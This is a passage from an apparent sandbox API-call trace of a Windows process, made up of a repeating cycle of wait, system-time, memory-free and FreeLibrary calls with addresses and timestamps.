bAlertable=0) returned 0x0 [0232.764] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b9717c3, dwHighDateTime=0x1d9eb0c)) [0232.765] free (_Block=0x196ef0d1b60) [0232.765] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.766] free (_Block=0x196ef0d4e70) [0232.767] free (_Block=0x196ef0fc170) [0232.767] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6b9975a3, dwHighDateTime=0x1d9eb0c)) [0232.775] free (_Block=0x196ef0d1ec0) [0232.775] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.775] free (_Block=0x196ef0d4e70) [0232.776] free (_Block=0x196ef0fb360) [0232.776] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.832] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ba3131c, dwHighDateTime=0x1d9eb0c)) [0232.833] free (_Block=0x196ef0d1c80) [0232.833] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.834] free (_Block=0x196ef0d4e70) [0232.835] free (_Block=0x196ef0fbe50) [0232.835] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6ba3131c, dwHighDateTime=0x1d9eb0c)) [0232.843] free (_Block=0x196ef0d2080) [0232.843] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.844] free (_Block=0x196ef0d4e70) [0232.845] free (_Block=0x196ef0fb2c0) [0232.845] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.933] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bb1614e, dwHighDateTime=0x1d9eb0c)) [0232.934] free (_Block=0x196ef0d1ca0) [0232.934] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.935] free (_Block=0x196ef0d4e70) [0232.935] free (_Block=0x196ef0fb680) [0232.936] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bb3b0a6, dwHighDateTime=0x1d9eb0c)) [0232.942] free (_Block=0x196ef0d20a0) [0232.942] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.943] free (_Block=0x196ef0d4e70) [0232.944] free (_Block=0x196ef0fba40) [0232.944] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0232.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bb3b0a6, dwHighDateTime=0x1d9eb0c)) [0232.951] free (_Block=0x196ef0d1ac0) [0232.951] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0232.952] free (_Block=0x196ef0d4e70) [0232.952] free (_Block=0x196ef0fbbd0) [0232.952] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bcb8615, dwHighDateTime=0x1d9eb0c)) [0233.104] free (_Block=0x196ef0d1bc0) [0233.105] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.105] free (_Block=0x196ef0d4e70) [0233.106] free (_Block=0x196ef0fc0d0) [0233.106] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.114] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bcde9fe, dwHighDateTime=0x1d9eb0c)) [0233.114] free (_Block=0x196ef0d20e0) [0233.114] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.115] free (_Block=0x196ef0d4e70) [0233.116] free (_Block=0x196ef0fbfe0) [0233.116] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bcde9fe, dwHighDateTime=0x1d9eb0c)) [0233.122] free (_Block=0x196ef0d1c40) [0233.122] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.123] free (_Block=0x196ef0d4e70) [0233.123] free (_Block=0x196ef0fb8b0) [0233.124] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bd04bbf, dwHighDateTime=0x1d9eb0c)) [0233.131] free (_Block=0x196ef0d1be0) [0233.132] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.132] free (_Block=0x196ef0d4e70) [0233.133] free (_Block=0x196ef0fb3b0) [0233.133] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bd04bbf, dwHighDateTime=0x1d9eb0c)) [0233.141] free (_Block=0x196ef0d1ec0) [0233.141] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.142] free (_Block=0x196ef0d4e70) [0233.142] free (_Block=0x196ef0fc120) [0233.143] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.191] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bd9d4a5, dwHighDateTime=0x1d9eb0c)) [0233.192] free (_Block=0x196ef0d1e60) [0233.192] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.193] free (_Block=0x196ef0d4e70) [0233.193] free (_Block=0x196ef0fbef0) [0233.193] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bd9d4a5, dwHighDateTime=0x1d9eb0c)) [0233.199] free (_Block=0x196ef0d2000) [0233.199] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.200] free (_Block=0x196ef0d4e70) [0233.200] free (_Block=0x196ef0fbef0) [0233.202] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.208] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bdc3637, dwHighDateTime=0x1d9eb0c)) [0233.209] free (_Block=0x196ef0d1e60) [0233.209] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.209] free (_Block=0x196ef0d4e70) [0233.210] free (_Block=0x196ef0fb590) [0233.210] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6be10018, dwHighDateTime=0x1d9eb0c)) [0233.238] free (_Block=0x196ef0d1e60) [0233.238] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.239] free (_Block=0x196ef0d4e70) [0233.240] free (_Block=0x196ef0fbae0) [0233.240] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6be82220, dwHighDateTime=0x1d9eb0c)) [0233.286] free (_Block=0x196ef0d2040) [0233.286] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.287] free (_Block=0x196ef0d4e70) [0233.287] free (_Block=0x196ef0fb4f0) [0233.287] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.295] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6be82220, dwHighDateTime=0x1d9eb0c)) [0233.296] free (_Block=0x196ef0d2020) [0233.296] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.296] free (_Block=0x196ef0d4e70) [0233.297] free (_Block=0x196ef0fc0d0) [0233.297] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.303] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bea8b40, dwHighDateTime=0x1d9eb0c)) [0233.303] free (_Block=0x196ef0d1ae0) [0233.303] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.304] free (_Block=0x196ef0d4e70) [0233.304] free (_Block=0x196ef0fb630) [0233.304] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.311] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bea8b40, dwHighDateTime=0x1d9eb0c)) [0233.312] free (_Block=0x196ef0d1f40) [0233.312] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.312] free (_Block=0x196ef0d4e70) [0233.313] free (_Block=0x196ef0fc080) [0233.313] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6becea36, dwHighDateTime=0x1d9eb0c)) [0233.320] free (_Block=0x196ef0d1de0) [0233.320] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.321] free (_Block=0x196ef0d4e70) [0233.321] free (_Block=0x196ef0fb680) [0233.321] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bf684b1, dwHighDateTime=0x1d9eb0c)) [0233.390] free (_Block=0x196ef0d1ae0) [0233.390] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.390] free (_Block=0x196ef0d4e70) [0233.391] free (_Block=0x196ef0fbbd0) [0233.391] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.403] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bf8d765, dwHighDateTime=0x1d9eb0c)) [0233.403] free (_Block=0x196ef0d1960) [0233.403] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.404] free (_Block=0x196ef0d4e70) [0233.404] free (_Block=0x196ef0fba40) [0233.404] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.410] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bfb3645, dwHighDateTime=0x1d9eb0c)) [0233.410] free (_Block=0x196ef0d20e0) [0233.410] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.411] free (_Block=0x196ef0d4e70) [0233.411] free (_Block=0x196ef0fb540) [0233.412] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bfb3645, dwHighDateTime=0x1d9eb0c)) [0233.418] free (_Block=0x196ef0d19a0) [0233.418] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.418] free (_Block=0x196ef0d4e70) [0233.419] free (_Block=0x196ef0fbc20) [0233.419] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.425] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6bfd9a15, dwHighDateTime=0x1d9eb0c)) [0233.425] free (_Block=0x196ef0d1aa0) [0233.425] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.426] free (_Block=0x196ef0d4e70) [0233.427] free (_Block=0x196ef0fb5e0) [0233.427] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.489] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c0722ce, dwHighDateTime=0x1d9eb0c)) [0233.490] free (_Block=0x196ef0d1da0) [0233.490] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.490] free (_Block=0x196ef0d4e70) [0233.491] free (_Block=0x196ef0fbc20) [0233.491] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c0722ce, dwHighDateTime=0x1d9eb0c)) [0233.499] free (_Block=0x196ef0d1a20) [0233.499] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.500] free (_Block=0x196ef0d4e70) [0233.500] free (_Block=0x196ef0fbfe0) [0233.501] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c098813, dwHighDateTime=0x1d9eb0c)) [0233.512] free (_Block=0x196ef0d1b60) [0233.512] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.513] free (_Block=0x196ef0d4e70) [0233.514] free (_Block=0x196ef0fbdb0) [0233.514] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c0bed80, dwHighDateTime=0x1d9eb0c)) [0233.522] free (_Block=0x196ef0d1ce0) [0233.522] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.522] free (_Block=0x196ef0d4e70) [0233.523] free (_Block=0x196ef0fbb30) [0233.523] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c1570a2, dwHighDateTime=0x1d9eb0c)) [0233.582] free (_Block=0x196ef0d1b60) [0233.583] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.583] free (_Block=0x196ef0d4e70) [0233.584] free (_Block=0x196ef0fb7c0) [0233.584] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c1570a2, dwHighDateTime=0x1d9eb0c)) [0233.592] free (_Block=0x196ef0d1bc0) [0233.592] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.593] free (_Block=0x196ef0d4e70) [0233.594] free (_Block=0x196ef0fbdb0) [0233.594] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.604] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c17d2be, dwHighDateTime=0x1d9eb0c)) [0233.605] free (_Block=0x196ef0d1e60) [0233.605] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.606] free (_Block=0x196ef0d4e70) [0233.606] free (_Block=0x196ef0fb450) [0233.606] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.616] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c1a35a7, dwHighDateTime=0x1d9eb0c)) [0233.617] free (_Block=0x196ef0d1980) [0233.617] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.618] free (_Block=0x196ef0d4e70) [0233.618] free (_Block=0x196ef0fbef0) [0233.618] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c223914, dwHighDateTime=0x1d9eb0c)) [0233.666] free (_Block=0x196ef0d1f60) [0233.666] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.667] free (_Block=0x196ef0d4e70) [0233.668] free (_Block=0x196ef0fb900) [0233.668] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c23c194, dwHighDateTime=0x1d9eb0c)) [0233.677] free (_Block=0x196ef0d1ba0) [0233.677] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.678] free (_Block=0x196ef0d4e70) [0233.679] free (_Block=0x196ef0fb6d0) [0233.679] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c23c194, dwHighDateTime=0x1d9eb0c)) [0233.686] free (_Block=0x196ef0d1b00) [0233.686] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.687] free (_Block=0x196ef0d4e70) [0233.688] free (_Block=0x196ef0fc080) [0233.688] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.700] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c26d2a0, dwHighDateTime=0x1d9eb0c)) [0233.700] free (_Block=0x196ef0d19e0) [0233.701] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.701] free (_Block=0x196ef0d4e70) [0233.702] free (_Block=0x196ef0fb4a0) [0233.702] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.760] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c30c2f9, dwHighDateTime=0x1d9eb0c)) [0233.761] free (_Block=0x196ef0d1de0) [0233.761] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.762] free (_Block=0x196ef0d4e70) [0233.763] free (_Block=0x196ef0fb8b0) [0233.763] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c32117a, dwHighDateTime=0x1d9eb0c)) [0233.772] free (_Block=0x196ef0d20e0) [0233.772] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.773] free (_Block=0x196ef0d4e70) [0233.774] free (_Block=0x196ef0fbd10) [0233.774] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c32117a, dwHighDateTime=0x1d9eb0c)) [0233.782] free (_Block=0x196ef0d20c0) [0233.782] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.783] free (_Block=0x196ef0d4e70) [0233.783] free (_Block=0x196ef0fbae0) [0233.784] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.793] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c3470b8, dwHighDateTime=0x1d9eb0c)) [0233.794] free (_Block=0x196ef0d1ac0) [0233.794] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.795] free (_Block=0x196ef0d4e70) [0233.795] free (_Block=0x196ef0fb680) [0233.795] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c451e86, dwHighDateTime=0x1d9eb0c)) [0233.905] free (_Block=0x196ef0d1de0) [0233.905] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.905] free (_Block=0x196ef0d4e70) [0233.906] free (_Block=0x196ef0fba40) [0233.906] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.919] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c4781f9, dwHighDateTime=0x1d9eb0c)) [0233.919] free (_Block=0x196ef0d1e20) [0233.919] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.920] free (_Block=0x196ef0d4e70) [0233.921] free (_Block=0x196ef0fb4f0) [0233.921] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c49e427, dwHighDateTime=0x1d9eb0c)) [0233.938] free (_Block=0x196ef0d1980) [0233.939] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.939] free (_Block=0x196ef0d4e70) [0233.940] free (_Block=0x196ef0fc080) [0233.940] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0233.996] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c536e0b, dwHighDateTime=0x1d9eb0c)) [0233.997] free (_Block=0x196ef0d1f40) [0233.997] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0233.998] free (_Block=0x196ef0d4e70) [0233.998] free (_Block=0x196ef0fbb30) [0233.998] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c55d1e4, dwHighDateTime=0x1d9eb0c)) [0234.008] free (_Block=0x196ef0d1d60) [0234.008] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0234.008] free (_Block=0x196ef0d4e70) [0234.009] free (_Block=0x196ef0fc170) [0234.009] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c55d1e4, dwHighDateTime=0x1d9eb0c)) [0234.017] free (_Block=0x196ef0d1aa0) [0234.017] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0234.018] free (_Block=0x196ef0d4e70) [0234.019] free (_Block=0x196ef0fbea0) [0234.019] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c583976, dwHighDateTime=0x1d9eb0c)) [0234.032] free (_Block=0x196ef0d1ea0) [0234.032] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0234.032] free (_Block=0x196ef0d4e70) [0234.033] free (_Block=0x196ef0fbd10) [0234.033] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c628031, dwHighDateTime=0x1d9eb0c)) [0234.087] free (_Block=0x196ef0d1b20) [0234.087] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0234.088] free (_Block=0x196ef0d4e70) [0234.089] free (_Block=0x196ef0fbd60) [0234.089] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c6420f1, dwHighDateTime=0x1d9eb0c)) [0234.099] free (_Block=0x196ef0d1de0) [0234.099] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0234.099] free (_Block=0x196ef0d4e70) [0234.100] free (_Block=0x196ef0fbe00) [0234.100] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0234.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6c6420f1, dwHighDateTime=0x1d9eb0c)) [0234.109] free (_Block=0x196ef0d20c0) [0234.110] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0234.110] free (_Block=0x196ef0d4e70) [0234.111] free (_Block=0x196ef0fbef0) [0234.111] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0248.528] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x74fd4fcb, dwHighDateTime=0x1d9eb0c)) [0248.529] free (_Block=0x196ef0d1f00) [0248.529] FreeLibrary (hLibModule=0x7ffa7be80000) returned 1 [0248.529] free (_Block=0x196ef0f88a0) [0248.532] free (_Block=0x196ef0fb680) [0248.532] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0262.222] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x7d26f0dd, dwHighDateTime=0x1d9eb0c)) [0262.222] free (_Block=0x196ef0d1d80) [0262.222] FreeLibrary (hLibModule=0x7ffa7be80000) returned 1 [0262.223] free (_Block=0x196ef0f8ae0) [0262.223] free (_Block=0x196ef0fb400) [0262.223] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0275.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x850cc02a, dwHighDateTime=0x1d9eb0c)) [0275.481] free (_Block=0x196ef0d1de0) [0275.481] FreeLibrary (hLibModule=0x7ffa7be80000) returned 1 [0275.481] free (_Block=0x196ef0f87e0) [0275.482] free (_Block=0x196ef0fb5e0) [0275.506] WaitForSingleObjectEx 